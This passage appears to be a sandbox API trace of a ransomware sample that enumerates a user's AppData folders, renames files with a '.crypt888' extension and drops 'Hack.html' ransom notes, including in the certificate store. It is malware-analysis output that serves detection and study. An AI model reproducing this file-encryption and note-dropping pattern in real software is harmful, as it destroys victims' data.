(dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\Hack.html", lpFilePart=0x0) returned 0x4b [0079.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.547] GetFileType (hFile=0x174) returned 0x1 [0079.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.547] GetFileType (hFile=0x174) returned 0x1 [0079.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpFilePart=0x0) returned 0x51 [0079.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpFilePart=0x0) returned 0x52 [0079.548] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.550] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.550] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.550] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.550] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.550] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpFilePart=0x0) returned 0x51 [0079.550] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpFilePart=0x0) returned 0x52 [0079.550] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0079.550] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.551] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.551] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.551] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x62 [0079.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0079.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.552] GetFileType (hFile=0x174) returned 0x1 [0079.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0079.552] GetFileType (hFile=0x174) returned 0x1 [0079.552] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xa8 [0079.552] ReadFile (in: hFile=0x174, lpBuffer=0x277c700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x277c700*, lpNumberOfBytesRead=0x39ecbc*=0xa8, lpOverlapped=0x0) returned 1 [0079.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x62 [0079.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0079.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.566] GetFileType (hFile=0x174) returned 0x1 [0079.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0079.566] GetFileType (hFile=0x174) returned 0x1 [0079.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x62 [0079.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.crypt888", lpFilePart=0x0) returned 0x6b [0079.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0079.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc09fcf40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0079.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0079.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.crypt888")) returned 1 [0079.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\Hack.html", lpFilePart=0x0) returned 0x5b [0079.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.568] GetFileType (hFile=0x174) returned 0x1 [0079.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.568] GetFileType (hFile=0x174) returned 0x1 [0079.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x3e [0079.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\", lpFilePart=0x0) returned 0x3f [0079.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.569] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.569] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.569] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x3e [0079.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\", lpFilePart=0x0) returned 0x3f [0079.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.570] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.570] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.570] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\speech\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.571] GetFileType (hFile=0x174) returned 0x1 [0079.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.571] GetFileType (hFile=0x174) returned 0x1 [0079.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x4a [0079.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpFilePart=0x0) returned 0x4b [0079.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.573] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.573] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.573] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.573] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x4a [0079.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpFilePart=0x0) returned 0x4b [0079.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.573] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.574] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.574] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.574] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x4d [0079.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpFilePart=0x0) returned 0x4e [0079.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.575] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.575] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.575] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.575] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.575] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.575] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x4d [0079.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpFilePart=0x0) returned 0x4e [0079.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.576] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.576] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.576] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.576] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.576] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.576] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x5a [0079.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpFilePart=0x0) returned 0x5b [0079.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.577] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.577] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.577] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x5a [0079.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpFilePart=0x0) returned 0x5b [0079.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.578] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.578] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.578] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Hack.html", lpFilePart=0x0) returned 0x64 [0079.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.579] GetFileType (hFile=0x174) returned 0x1 [0079.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.579] GetFileType (hFile=0x174) returned 0x1 [0079.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x52 [0079.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpFilePart=0x0) returned 0x53 [0079.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 